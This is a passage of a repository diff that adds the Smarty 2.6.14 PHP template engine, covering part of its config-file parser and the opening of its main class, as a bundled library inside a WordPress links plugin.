+     * @param string $file_name file to clear config data for
+     */
+    function clear($file_name = NULL)
+    {
+        if ($file_name === NULL)
+            $this->_config_data = array();
+        else if (isset($this->_config_data[$file_name]))
+            $this->_config_data[$file_name] = array();
+    }
+
+
+    /**
+     * Load a configuration file manually.
+     *
+     * @param string $file_name file name to load
+     * @param boolean $prepend_path whether current config path should be
+     *                              prepended to the filename
+     */
+    function load_file($file_name, $prepend_path = true)
+    {
+        if ($prepend_path && $this->_config_path != "")
+            $config_file = $this->_config_path . $file_name;
+        else
+            $config_file = $file_name;
+
+        ini_set('track_errors', true);
+        $fp = @fopen($config_file, "r");
+        if (!is_resource($fp)) {
+            $this->_trigger_error_msg("Could not open config file '$config_file'");
+            return false;
+        }
+
+        $contents = ($size = filesize($config_file)) ? fread($fp, $size) : '';
+        fclose($fp);
+
+        $this->_config_data[$config_file] = $this->parse_contents($contents);
+        return true;
+    }
+
+    /**
+     * Store the contents of a file manually.
+     *
+     * @param string $config_file file name of the related contents
+     * @param string $contents the file-contents to parse
+     */
+    function set_file_contents($config_file, $contents)
+    {
+        $this->_config_data[$config_file] = $this->parse_contents($contents);
+        return true;
+    }
+
+    /**
+     * parse the source of a configuration file manually.
+     *
+     * @param string $contents the file-contents to parse
+     */
+    function parse_contents($contents)
+    {
+        if($this->fix_newlines) {
+            // fix mac/dos formatted newlines
+            $contents = preg_replace('!\r\n?!', "\n", $contents);
+        }
+
+        $config_data = array();
+        $config_data['sections'] = array();
+        $config_data['vars'] = array();
+
+        /* reference to fill with data */
+        $vars =& $config_data['vars'];
+
+        /* parse file line by line */
+        preg_match_all('!^.*\r?\n?!m', $contents, $match);
+        $lines = $match[0];
+        for ($i=0, $count=count($lines); $i<$count; $i++) {
+            $line = $lines[$i];
+            if (empty($line)) continue;
+
+            if ( substr($line, 0, 1) == '[' && preg_match('!^\[(.*?)\]!', $line, $match) ) {
+                /* section found */
+                if (substr($match[1], 0, 1) == '.') {
+                    /* hidden section */
+                    if ($this->read_hidden) {
+                        $section_name = substr($match[1], 1);
+                    } else {
+                        /* break reference to $vars to ignore hidden section */
+                        unset($vars);
+                        $vars = array();
+                        continue;
+                    }
+                } else {                    
+                    $section_name = $match[1];
+                }
+                if (!isset($config_data['sections'][$section_name]))
+                    $config_data['sections'][$section_name] = array('vars' => array());
+                $vars =& $config_data['sections'][$section_name]['vars'];
+                continue;
+            }
+
+            if (preg_match('/^\s*(\.?\w+)\s*=\s*(.*)/s', $line, $match)) {
+                /* variable found */
+                $var_name = rtrim($match[1]);
+                if (strpos($match[2], '"""') === 0) {
+                    /* handle multiline-value */
+                    $lines[$i] = substr($match[2], 3);
+                    $var_value = '';
+                    while ($i<$count) {
+                        if (($pos = strpos($lines[$i], '"""')) === false) {
+                            $var_value .= $lines[$i++];
+                        } else {
+                            /* end of multiline-value */
+                            $var_value .= substr($lines[$i], 0, $pos);
+                            break;
+                        }
+                    }
+                    $booleanize = false;
+
+                } else {
+                    /* handle simple value */
+                    $var_value = preg_replace('/^([\'"])(.*)\1$/', '\2', rtrim($match[2]));
+                    $booleanize = $this->booleanize;
+
+                }
+                $this->_set_config_var($vars, $var_name, $var_value, $booleanize);
+            }
+            /* else unparsable line / means it is a comment / means ignore it */
+        }
+        return $config_data;
+    }
+
+    /**#@+ @access private */
+    /**
+     * @param array &$container
+     * @param string $var_name
+     * @param mixed $var_value
+     * @param boolean $booleanize determines whether $var_value is converted to
+     *                            to true/false
+     */
+    function _set_config_var(&$container, $var_name, $var_value, $booleanize)
+    {
+        if (substr($var_name, 0, 1) == '.') {
+            if (!$this->read_hidden)
+                return;
+            else
+                $var_name = substr($var_name, 1);
+        }
+
+        if (!preg_match("/^[a-zA-Z_]\w*$/", $var_name)) {
+            $this->_trigger_error_msg("Bad variable name '$var_name'");
+            return;
+        }
+
+        if ($booleanize) {
+            if (preg_match("/^(on|true|yes)$/i", $var_value))
+                $var_value = true;
+            else if (preg_match("/^(off|false|no)$/i", $var_value))
+                $var_value = false;
+        }
+
+        if (!isset($container[$var_name]) || $this->overwrite)
+            $container[$var_name] = $var_value;
+        else {
+            settype($container[$var_name], 'array');
+            $container[$var_name][] = $var_value;
+        }
+    }
+
+    /**
+     * @uses trigger_error() creates a PHP warning/error
+     * @param string $error_msg
+     * @param integer $error_type one of
+     */
+    function _trigger_error_msg($error_msg, $error_type = E_USER_WARNING)
+    {
+        trigger_error("Config_File error: $error_msg", $error_type);
+    }
+    /**#@-*/
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Smarty.class.php	(revision 44)
@@ -0,0 +1,1944 @@
+<?php
+
+/**
+ * Project:     Smarty: the PHP compiling template engine
+ * File:        Smarty.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * For questions, help, comments, discussion, etc., please join the
+ * Smarty mailing list. Send a blank e-mail to
+ * smarty-general-subscribe@lists.php.net
+ *
+ * @link http://smarty.php.net/
+ * @copyright 2001-2005 New Digital Group, Inc.
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @package Smarty
+ * @version 2.6.14
+ */
+
+/* $Id: Smarty.class.php,v 1.524 2006/01/18 19:02:52 mohrt Exp $ */
+
+/**
+ * DIR_SEP isn't used anymore, but third party apps might
+ */
+if(!defined('DIR_SEP')) {
+    define('DIR_SEP', DIRECTORY_SEPARATOR);
+}
+
+/**
+ * set SMARTY_DIR to absolute path to Smarty library files.
+ * if not defined, include_path will be used. Sets SMARTY_DIR only if user
+ * application has not already defined it.
+ */
+
+if (!defined('SMARTY_DIR')) {
+    define('SMARTY_DIR', dirname(__FILE__) . DIRECTORY_SEPARATOR);
+}
+
+if (!defined('SMARTY_CORE_DIR')) {
+    define('SMARTY_CORE_DIR', SMARTY_DIR . 'internals' . DIRECTORY_SEPARATOR);
+}
+
+define('SMARTY_PHP_PASSTHRU',   0);
+define('SMARTY_PHP_QUOTE',      1);
+define('SMARTY_PHP_REMOVE',     2);
+define('SMARTY_PHP_ALLOW',      3);
+
+/**
+ * @package Smarty
+ */
+class Smarty
+{
+    /**#@+
+     * Smarty Configuration Section
+     */
+
+    /**
+     * The name of the directory where templates are located.
+     *
+     * @var string
+     */
+    var $template_dir    =  'templates';
+
+    /**
+     * The directory where compiled templates are located.
+     *
+     * @var string
+     */
+    var $compile_dir     =  'templates_c';
+
+    /**
+     * The directory where config files are located.
+     *
+     * @var string
+     */
+    var $config_dir      =  'configs';
+
+    /**
+     * An array of directories searched for plugins.
+     *
+     * @var array
+     */
+    var $plugins_dir     =  array('plugins');
+
+    /**
+     * If debugging is enabled, a debug console window will display
+     * when the page loads (make sure your browser allows unrequested
+     * popup windows)
+     *
+     * @var boolean
+     */
+    var $debugging       =  false;
+
+    /**
+     * When set, smarty does uses this value as error_reporting-level.
+     *
+     * @var boolean
+     */
+    var $error_reporting  =  null;
+
+    /**
+     * This is the path to the debug console template. If not set,
+     * the default one will be used.
+     *
+     * @var string
+     */
+    var $debug_tpl       =  '';
+
+    /**
+     * This determines if debugging is enable-able from the browser.
+     * <ul>
+     *  <li>NONE => no debugging control allowed</li>
+     *  <li>URL => enable debugging when SMARTY_DEBUG is found in the URL.</li>
+     * </ul>
+     * @link http://www.foo.dom/index.php?SMARTY_DEBUG
+     * @var string
+     */
+    var $debugging_ctrl  =  'NONE';
+
+    /**
+     * This tells Smarty whether to check for recompiling or not. Recompiling
+     * does not need to happen unless a template or config file is changed.
+     * Typically you enable this during development, and disable for
+     * production.
+     *
+     * @var boolean
+     */
+    var $compile_check   =  true;
+
+    /**
+     * This forces templates to compile every time. Useful for development
+     * or debugging.
+     *
+     * @var boolean
+     */
+    var $force_compile   =  false;
+
+    /**
+     * This enables template caching.
+     * <ul>
+     *  <li>0 = no caching</li>
+     *  <li>1 = use class cache_lifetime value</li>
+     *  <li>2 = use cache_lifetime in cache file</li>
+     * </ul>
+     * @var integer
+     */
+    var $caching         =  0;
+
+    /**
+     * The name of the directory for cache files.
+     *
+     * @var string
+     */
+    var $cache_dir       =  'cache';
+
+    /**
+     * This is the number of seconds cached content will persist.
+     * <ul>
+     *  <li>0 = always regenerate cache</li>
+     *  <li>-1 = never expires</li>
+     * </ul>
+     *
+     * @var integer
+     */
+    var $cache_lifetime  =  3600;
+
+    /**
+     * Only used when $caching is enabled. If true, then If-Modified-Since headers
+     * are respected with cached content, and appropriate HTTP headers are sent.
+     * This way repeated hits to a cached page do not send the entire page to the
+     * client every time.
+     *
+     * @var boolean
+     */
+    var $cache_modified_check = false;
+
+    /**
+     * This determines how Smarty handles "<?php ... ?>" tags in templates.
+     * possible values:
+     * <ul>
+     *  <li>SMARTY_PHP_PASSTHRU -> print tags as plain text</li>
+     *  <li>SMARTY_PHP_QUOTE    -> escape tags as entities</li>
+     *  <li>SMARTY_PHP_REMOVE   -> remove php tags</li>
+     *  <li>SMARTY_PHP_ALLOW    -> execute php tags</li>
+     * </ul>
+     *
+     * @var integer
+     */
+    var $php_handling    =  SMARTY_PHP_PASSTHRU;
+
+    /**
+     * This enables template security. When enabled, many things are restricted
+     * in the templates that normally would go unchecked. This is useful when
+     * untrusted parties are editing templates and you want a reasonable level
+     * of security. (no direct execution of PHP in templates for example)
+     *
+     * @var boolean
+     */
+    var $security       =   false;
+
+    /**
+     * This is the list of template directories that are considered secure. This
+     * is used only if {@link $security} is enabled. One directory per array
+     * element.  {@link $template_dir} is in this list implicitly.
+     *
+     * @var array
+     */
+    var $secure_dir     =   array();
+
+    /**
+     * These are the security settings for Smarty. They are used only when
+     * {@link $security} is enabled.
+     *
+     * @var array
+     */
+    var $security_settings  = array(
+                                    'PHP_HANDLING'    => false,
+                                    'IF_FUNCS'        => array('array', 'list',
+                                                               'isset', 'empty',
+                                                               'count', 'sizeof',
+                                                               'in_array', 'is_array',
+                                                               'true', 'false', 'null'),
+                                    'INCLUDE_ANY'     => false,
+                                    'PHP_TAGS'        => false,
+                                    'MODIFIER_FUNCS'  => array('count'),
+                                    'ALLOW_CONSTANTS'  => false
+                                   );
+
+    /**
+     * This is an array of directories where trusted php scripts reside.
+     * {@link $security} is disabled during their inclusion/execution.
+     *
+     * @var array
+     */
+    var $trusted_dir        = array();
+
+    /**
+     * The left delimiter used for the template tags.
+     *
+     * @var string
+     */
+    var $left_delimiter  =  '{';
+
+    /**
+     * The right delimiter used for the template tags.
+     *
+     * @var string
+     */
+    var $right_delimiter =  '}';
+
+    /**
+     * The order in which request variables are registered, similar to
+     * variables_order in php.ini E = Environment, G = GET, P = POST,
+     * C = Cookies, S = Server
+     *
+     * @var string
+     */
+    var $request_vars_order    = 'EGPCS';
+
+    /**
+     * Indicates wether $HTTP_*_VARS[] (request_use_auto_globals=false)
+     * are uses as request-vars or $_*[]-vars. note: if
+     * request_use_auto_globals is true, then $request_vars_order has
+     * no effect, but the php-ini-value "gpc_order"
+     *
+     * @var boolean
+     */
+    var $request_use_auto_globals      = true;
+
+    /**
+     * Set this if you want different sets of compiled files for the same
+     * templates. This is useful for things like different languages.
+     * Instead of creating separate sets of templates per language, you
+     * set different compile_ids like 'en' and 'de'.
+     *
+     * @var string
+     */
+    var $compile_id            = null;
+
+    /**
+     * This tells Smarty whether or not to use sub dirs in the cache/ and
+     * templates_c/ directories. sub directories better organized, but
+     * may not work well with PHP safe mode enabled.
+     *
+     * @var boolean
+     *
+     */
+    var $use_sub_dirs          = false;
+
+    /**
+     * This is a list of the modifiers to apply to all template variables.
+     * Put each modifier in a separate array element in the order you want
+     * them applied. example: <code>array('escape:"htmlall"');</code>
+     *
+     * @var array
+     */
+    var $default_modifiers        = array();
+
+    /**
+     * This is the resource type to be used when not specified
+     * at the beginning of the resource path. examples:
+     * $smarty->display('file:index.tpl');
+     * $smarty->display('db:index.tpl');
+     * $smarty->display('index.tpl'); // will use default resource type
+     * {include file="file:index.tpl"}
+     * {include file="db:index.tpl"}
+     * {include file="index.tpl"} {* will use default resource type *}
+     *
+     * @var array
+     */
+    var $default_resource_type    = 'file';
+
+    /**
+     * The function used for cache file handling. If not set, built-in caching is used.
+     *
+     * @var null|string function name
+     */
+    var $cache_handler_func   = null;
+
+    /**
+     * This indicates which filters are automatically loaded into Smarty.
+     *
+     * @var array array of filter names
+     */
+    var $autoload_filters = array();
+
+    /**#@+
+     * @var boolean
+     */
+    /**
+     * This tells if config file vars of the same name overwrite each other or not.
+     * if disabled, same name variables are accumulated in an array.
+     */
+    var $config_overwrite = true;
+
+    /**
+     * This tells whether or not to automatically booleanize config file variables.
+     * If enabled, then the strings "on", "true", and "yes" are treated as boolean
+     * true, and "off", "false" and "no" are treated as boolean false.
+     */
+    var $config_booleanize = true;
+
+    /**
+     * This tells whether hidden sections [.foobar] are readable from the
+     * tempalates or not. Normally you would never allow this since that is
+     * the point behind hidden sections: the application can access them, but
+     * the templates cannot.
+     */
+    var $config_read_hidden = false;
+
+    /**
+     * This tells whether or not automatically fix newlines in config files.
+     * It basically converts \r (mac) or \r\n (dos) to \n
+     */
+    var $config_fix_newlines = true;
+    /**#@-*/
+
+    /**
+     * If a template cannot be found, this PHP function will be executed.
+     * Useful for creating templates on-the-fly or other special action.
+     *
+     * @var string function name
+     */
+    var $default_template_handler_func = '';
+
+    /**
+     * The file that contains the compiler class. This can a full
+     * pathname, or relative to the php_include path.
+     *
+     * @var string
+     */
+    var $compiler_file        =    'Smarty_Compiler.class.php';
+
+    /**
+     * The class used for compiling templates.
+     *
+     * @var string
+     */
+    var $compiler_class        =   'Smarty_Compiler';
+
+    /**
+     * The class used to load config vars.
+     *
+     * @var string
+     */
+    var $config_class          =   'Config_File';
+
+/**#@+
+ * END Smarty Configuration Section
+ * There should be no need to touch anything below this line.
+ * @access private
+ */
+    /**
+     * where assigned template vars are kept
+     *
+     * @var array
+     */
+    var $_tpl_vars             = array();
+
+    /**
+     * stores run-time $smarty.* vars
+     *
+     * @var null|array
+     */
+    var $_smarty_vars          = null;
+
+    /**
+     * keeps track of sections
+     *
+     * @var array
+     */
+    var $_sections             = array();
+
+    /**
+     * keeps track of foreach blocks
+     *
+     * @var array
+     */
+    var $_foreach              = array();
+
+    /**
+     * keeps track of tag hierarchy
+     *
+     * @var array
+     */
+    var $_tag_stack            = array();
+
+    /**
+     * configuration object
+     *
+     * @var Config_file
+     */
+    var $_conf_obj             = null;
+
+    /**
+     * loaded configuration settings
+     *
+     * @var array
+     */
+    var $_config               = array(array('vars'  => array(), 'files' => array()));
+
+    /**
+     * md5 checksum of the string 'Smarty'
+     *
+     * @var string
+     */
+    var $_smarty_md5           = 'f8d698aea36fcbead2b9d5359ffca76f';
+
+    /**
+     * Smarty version number
+     *
+     * @var string
+     */
+    var $_version              = '2.6.14';
+
+    /**
+     * current template inclusion depth
+     *
+     * @var integer
+     */
+    var $_inclusion_depth      = 0;
+
+    /**
+     * for different compiled templates
+     *
+     * @var string
+     */
+    var $_compile_id           = null;
+
+    /**
+     * text in URL to enable debug mode
+     *
+     * @var string
+     */
+    var $_smarty_debug_id      = 'SMARTY_DEBUG';
+
+    /**
+     * debugging information for debug console
+     *
+     * @var array
+     */
+    var $_smarty_debug_info    = array();
+
+    /**
+     * info that makes up a cache file
+     *
+     * @var array
+     */
+    var $_cache_info           = array();
+
+    /**
+     * default file permissions
+     *
+     * @var integer
+     */
+    var $_file_perms           = 0644;
+
+    /**
+     * default dir permissions
+     *
+     * @var integer
+     */
+    var $_dir_perms               = 0771;
+
+    /**
+     * registered objects
+     *
+     * @var array
+     */
+    var $_reg_objects           = array();
+
+    /**
+     * table keeping track of plugins
+     *
+     * @var array
+     */
+    var $_plugins              = array(
+                                       'modifier'      => array(),
+                                       'function'      => array(),
+                                       'block'         => array(),
+                                       'compiler'      => array(),
+                                       'prefilter'     => array(),
+                                       'postfilter'    => array(),
+                                       'outputfilter'  => array(),
+                                       'resource'      => array(),
+                                       'insert'        => array());
+
+
+    /**
+     * cache serials
+     *
+     * @var array
+     */
+    var $_cache_serials = array();
+
+    /**
+     * name of optional cache include file
+     *
+     * @var string
+     */
+    var $_cache_include = null;
+
+    /**
+     * indicate if the current code is used in a compiled
+     * include
+     *
+     * @var string
+     */
+    var $_cache_including = false;
+
+    /**#@-*/
+    /**
+     * The class constructor.
+     */
+    function Smarty()
+    {
+      $this->assign('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
+                    : @$GLOBALS['HTTP_SERVER_VARS']['SCRIPT_NAME']);
+    }
+
+    /**
+     * assigns values to template variables
+     *
+     * @param array|string $tpl_var the template variable name(s)
+     * @param mixed $value the value to assign
+     */
+    function assign($tpl_var, $value = null)
+    {
+        if (is_array($tpl_var)){
+            foreach ($tpl_var as $key => $val) {
+                if ($key != '') {
+                    $this->_tpl_vars[$key] = $val;
+                }
+            }
+        } else {
+            if ($tpl_var != '')
+                $this->_tpl_vars[$tpl_var] = $value;
+        }
+    }
+
+    /**
+     * assigns values to template variables by reference
+     *
+     * @param string $tpl_var the template variable name
+     * @param mixed $value the referenced value to assign
+     */
+    function assign_by_ref($tpl_var, &$value)
+    {
+        if ($tpl_var != '')
+            $this->_tpl_vars[$tpl_var] = &$value;
+    }
+
+    /**
+     * appends values to template variables
+     *
+     * @param array|string $tpl_var the template variable name(s)
+     * @param mixed $value the value to append
+     */
+    function append($tpl_var, $value=null, $merge=false)
+    {
+        if (is_array($tpl_var)) {
+            // $tpl_var is an array, ignore $value
+            foreach ($tpl_var as $_key => $_val) {
+                if ($_key != '') {
+                    if(!@is_array($this->_tpl_vars[$_key])) {
+                        settype($this->_tpl_vars[$_key],'array');
+                    }
+                    if($merge && is_array($_val)) {
+                        foreach($_val as $_mkey => $_mval) {
+                            $this->_tpl_vars[$_key][$_mkey] = $_mval;
+                        }
+                    } else {
+                        $this->_tpl_vars[$_key][] = $_val;
+                    }
+                }
+            }
+        } else {
+            if ($tpl_var != '' && isset($value)) {
+                if(!@is_array($this->_tpl_vars[$tpl_var])) {
+                    settype($this->_tpl_vars[$tpl_var],'array');
+                }
+                if($merge && is_array($value)) {
+                    foreach($value as $_mkey => $_mval) {
+                        $this->_tpl_vars[$tpl_var][$_mkey] = $_mval;
+                    }
+                } else {
+                    $this->_tpl_vars[$tpl_var][] = $value;
+                }
+            }
+        }
+    }
+
+    /**
+     * appends values to template variables by reference
+     *
+     * @param string $tpl_var the template variable name
+     * @param mixed $value the referenced value to append
+     */
+    function append_by_ref($tpl_var, &$value, $merge=false)
+    {
+        if ($tpl_var != '' && isset($value)) {
+            if(!@is_array($this->_tpl_vars[$tpl_var])) {
+             settype($this->_tpl_vars[$tpl_var],'array');
+            }
+            if ($merge && is_array($value)) {
+                foreach($value as $_key => $_val) {
+                    $this->_tpl_vars[$tpl_var][$_key] = &$value[$_key];
+                }
+            } else {
+                $this->_tpl_vars[$tpl_var][] = &$value;
+            }
+        }
+    }
+
+
+    /**
+     * clear the given assigned template variable.
+     *
+     * @param string $tpl_var the template variable to clear
+     */
+    function clear_assign($tpl_var)
+    {
+        if (is_array($tpl_var))
+            foreach ($tpl_var as $curr_var)
+                unset($this->_tpl_vars[$curr_var]);
+        else
+            unset($this->_tpl_vars[$tpl_var]);
+    }
+
+
+    /**
+     * Registers custom function to be used in templates
+     *
+     * @param string $function the name of the template function
+     * @param string $function_impl the name of the PHP function to register
+     */
+    function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null)
+    {
+        $this->_plugins['function'][$function] =
+            array($function_impl, null, null, false, $cacheable, $cache_attrs);
+
+    }
+
+    /**
+     * Unregisters custom function
+     *
+     * @param string $function name of template function
+     */
+    function unregister_function($function)
+    {
+        unset($this->_plugins['function'][$function]);
+    }
+
+    /**
+     * Registers object to be used in templates
+     *
+     * @param string $object name of template object
+     * @param object &$object_impl the referenced PHP object to register
+     * @param null|array $allowed list of allowed methods (empty = all)
+     * @param boolean $smarty_args smarty argument format, else traditional
+     * @param null|array $block_functs list of methods that are block format
+     */
+    function register_object($object, &$object_impl, $allowed = array(), $smarty_args = true, $block_methods = array())
+    {
+        settype($allowed, 'array');
+        settype($smarty_args, 'boolean');
+        $this->_reg_objects[$object] =
+            array(&$object_impl, $allowed, $smarty_args, $block_methods);
+    }
+
+    /**
+     * Unregisters object
+     *
+     * @param string $object name of template object
+     */
+    function unregister_object($object)
+    {
+        unset($this->_reg_objects[$object]);
+    }
+
+
+    /**
+     * Registers block function to be used in templates
+     *
+     * @param string $block name of template block
+     * @param string $block_impl PHP function to register
+     */
+    function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null)
+    {
+        $this->_plugins['block'][$block] =
+            array($block_impl, null, null, false, $cacheable, $cache_attrs);
+    }
+
+    /**
+     * Unregisters block function
+     *
+     * @param string $block name of template function
+     */
+    function unregister_block($block)
+    {
+        unset($this->_plugins['block'][$block]);
+    }
+
+    /**
+     * Registers compiler function
+     *
+     * @param string $function name of template function
+     * @param string $function_impl name of PHP function to register
+     */
+    function register_compiler_function($function, $function_impl, $cacheable=true)
+    {
+        $this->_plugins['compiler'][$function] =
+            array($function_impl, null, null, false, $cacheable);
+    }
+
+    /**
+     * Unregisters compiler function
+     *
+     * @param string $function name of template function
+     */
+    function unregister_compiler_function($function)
+    {
+        unset($this->_plugins['compiler'][$function]);
+    }
+
+    /**
+     * Registers modifier to be used in templates
+     *
+     * @param string $modifier name of template modifier
+     * @param string $modifier_impl name of PHP function to register
+     */
+    function register_modifier($modifier, $modifier_impl)
+    {
+        $this->_plugins['modifier'][$modifier] =
+            array($modifier_impl, null, null, false);
+    }
+
+    /**
+     * Unregisters modifier
+     *
+     * @param string $modifier name of template modifier
+     */
+    function unregister_modifier($modifier)
+    {
+        unset($this->_plugins['modifier'][$modifier]);
+    }
+
+    /**
+     * Registers a resource to fetch a template
+     *
+     * @param string $type name of resource
+     * @param array $functions array of functions to handle resource
+     */
+    function register_resource($type, $functions)
+    {
+        if (count($functions)==4) {
+            $this->_plugins['resource'][$type] =
+                array($functions, false);
+
+        } elseif (count($functions)==5) {
+            $this->_plugins['resource'][$type] =
+                array(array(array(&$functions[0], $functions[1])
+                            ,array(&$functions[0], $functions[2])
+                            ,array(&$functions[0], $functions[3])
+                            ,array(&$functions[0], $functions[4]))
+                      ,false);
+
+        } else {
+            $this->trigger_error("malformed function-list for '$type' in register_resource");
+
+        }
+    }
+
+    /**
+     * Unregisters a resource
+     *
+     * @param string $type name of resource
+     */
+    function unregister_resource($type)
+    {
+        unset($this->_plugins['resource'][$type]);
+    }
+
+    /**
+     * Registers a prefilter function to apply
+     * to a template before compiling
+     *
+     * @param string $function name of PHP function to register
+     */
+    function register_prefilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['prefilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters a prefilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_prefilter($function)
+    {
+        unset($this->_plugins['prefilter'][$function]);
+    }
+
+    /**
+     * Registers a postfilter function to apply
+     * to a compiled template after compilation
+     *
+     * @param string $function name of PHP function to register
+     */
+    function register_postfilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['postfilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters a postfilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_postfilter($function)
+    {
+        unset($this->_plugins['postfilter'][$function]);
+    }
+
+    /**
+     * Registers an output filter function to apply
+     * to a template output
+     *
+     * @param string $function name of PHP function
+     */
+    function register_outputfilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['outputfilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters an outputfilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_outputfilter($function)
+    {
+        unset($this->_plugins['outputfilter'][$function]);
+    }
+
+    /**
+     * load a filter of specified type and name
+     *
+     * @param string $type filter type
+     * @param string $name filter name
+     */
+    function load_filter($type, $name)
+    {
+        switch ($type) {
+            case 'output':
+                $_params = array('plugins' => array(array($type . 'filter', $name, null, null, false)));
+                require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
+                smarty_core_load_plugins($_params, $this);
+                break;
+
+            case 'pre':
+            case 'post':
+                if (!isset($this->_plugins[$type . 'filter'][$name]))
+                    $this->_plugins[$type . 'filter'][$name] = false;
+                break;
+        }
+    }
+
+    /**
+     * clear cached content for the given template and cache id
+     *
+     * @param string $tpl_file name of template file
+     * @param string $cache_id name of cache_id
+     * @param string $compile_id name of compile_id
+     * @param string $exp_time expiration time
+     * @return boolean
+     */
+    function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null)
+    {
+
+        if (!isset($compile_id))
+            $compile_id = $this->compile_id;
+
+        if (!isset($tpl_file))
+            $compile_id = null;
+
+        $_auto_id = $this->_get_auto_id($cache_id, $compile_id);
+
+        if (!empty($this->cache_handler_func)) {
+            return call_user_func_array($this->cache_handler_func,
+                                  array('clear', &$this, &$dummy, $tpl_file, $cache_id, $compile_id, $exp_time));
+        } else {
+            $_params = array('auto_base' => $this->cache_dir,
+                            'auto_source' => $tpl_file,
+                            'auto_id' => $_auto_id,
+                            'exp_time' => $exp_time);
+            require_once(SMARTY_CORE_DIR . 'core.rm_auto.php');
+            return smarty_core_rm_auto($_params, $this);
+        }
+
+    }
+
+
+    /**
+     * clear the entire contents of cache (all templates)
+     *
+     * @param string $exp_time expire time
+     * @return boolean results of {@link smarty_core_rm_auto()}
+     */
+    function clear_all_cache($exp_time = null)
+    {
+        return $this->clear_cache(null, null, null, $exp_time);
+    }
+
+
+    /**
+     * test to see if valid cache exists for this template
+     *
+     * @param string $tpl_file name of template file
+     * @param string $cache_id
+     * @param string $compile_id
+     * @return string|false results of {@link _read_cache_file()}
+     */
+    function is_cached($tpl_file, $cache_id = null, $compile_id = null)
+    {
+        if (!$this->caching)
+            return false;
+
+        if (!isset($compile_id))
+            $compile_id = $this->compile_id;
+
+        $_params = array(
+            'tpl_file' => $tpl_file,
+            'cache_id' => $cache_id,
+            'compile_id' => $compile_id
+        );
+        require_once(SMARTY_CORE_DIR . 'core.read_cache_file.php');
+        return smarty_core_read_cache_file($_params, $this);
+    }
+
+
+    /**
+     * clear all the assigned template variables.
+     *
+     */
+    function clear_all_assign()
+    {
+        $this->_tpl_vars = array();
+    }
+
+    /**
+     * clears compiled version of specified template resource,
+     * or all compiled template files if one is not specified.
+     * This function is for advanced use only, not normally needed.
+     *
+     * @param string $tpl_file
+     * @param string $compile_id
+     * @param string $exp_time
+     * @return boolean results of {@link smarty_core_rm_auto()}
+     */
+    function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null)
+    {
+        if (!isset($compile_id)) {
+            $compile_id = $this->compile_id;
+        }
+        $_params = array('auto_base' => $this->compile_dir,
+                        'auto_source' => $tpl_file,
+                        'auto_id' => $compile_id,
+                        'exp_time' => $exp_time,
+                        'extensions' => array('.inc', '.php'));
+        require_once(SMARTY_CORE_DIR . 'core.rm_auto.php');
+        return smarty_core_rm_auto($_params, $this);
+    }
+
+    /**
+     * Checks whether requested template exists.
+     *
+     * @param string $tpl_file
+     * @return boolean
+     */
+    function template_exists($tpl_file)
+    {
+        $_params = array('resource_name' => $tpl_file, 'quiet'=>true, 'get_source'=>false);
+        return $this->_fetch_resource_info($_params);
+    }
+
+    /**
+     * Returns an array containing template variables
+     *
+     * @param string $name
+     * @param string $type
+     * @return array
+     */
+    function &get_template_vars($name=null)
+    {
+        if(!isset($name)) {
+            return $this->_tpl_vars;
+        } elseif(isset($this->_tpl_vars[$name])) {
+            return $this->_tpl_vars[$name];
+        } else {
+            // var non-existant, return valid reference
+            $_tmp = null;
+            return $_tmp;   
+        }
+    }
+
+    /**
+     * Returns an array containing config variables
+     *
+     * @param string $name
+     * @param string $type
+     * @return array
+     */
+    function &get_config_vars($name=null)
+    {
+        if(!isset($name) && is_array($this->_config[0])) {
+            return $this->_config[0]['vars'];
+        } else if(isset($this->_config[0]['vars'][$name])) {
+            return $this->_config[0]['vars'][$name];
+        } else {
+            // var non-existant, return valid reference
+            $_tmp = null;
+            return $_tmp;
+        }
+    }
+
+    /**
+     * trigger Smarty error
+     *
+     * @param string $error_msg
+     * @param integer $error_type
+     */
+    function trigger_error($error_msg, $error_type = E_USER_WARNING)
+    {
+        trigger_error("Smarty error: $error_msg", $error_type);
+    }
+
+
+    /**
+     * executes & displays the template results
+     *
+     * @param string $resource_name
+     * @param string $cache_id
+     * @param string $compile_id
+     */
+    function display($resource_name, $cache_id = null, $compile_id = null)
+    {
+        $this->fetch($resource_name, $cache_id, $compile_id, true);
+    }
+
+    /**
+     * executes & returns or displays the template results
+     *
+     * @param string $resource_name
+     * @param string $cache_id
+     * @param string $compile_id
+     * @param boolean $display
+     */
+    function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)
+    {
+        static $_cache_info = array();
+        
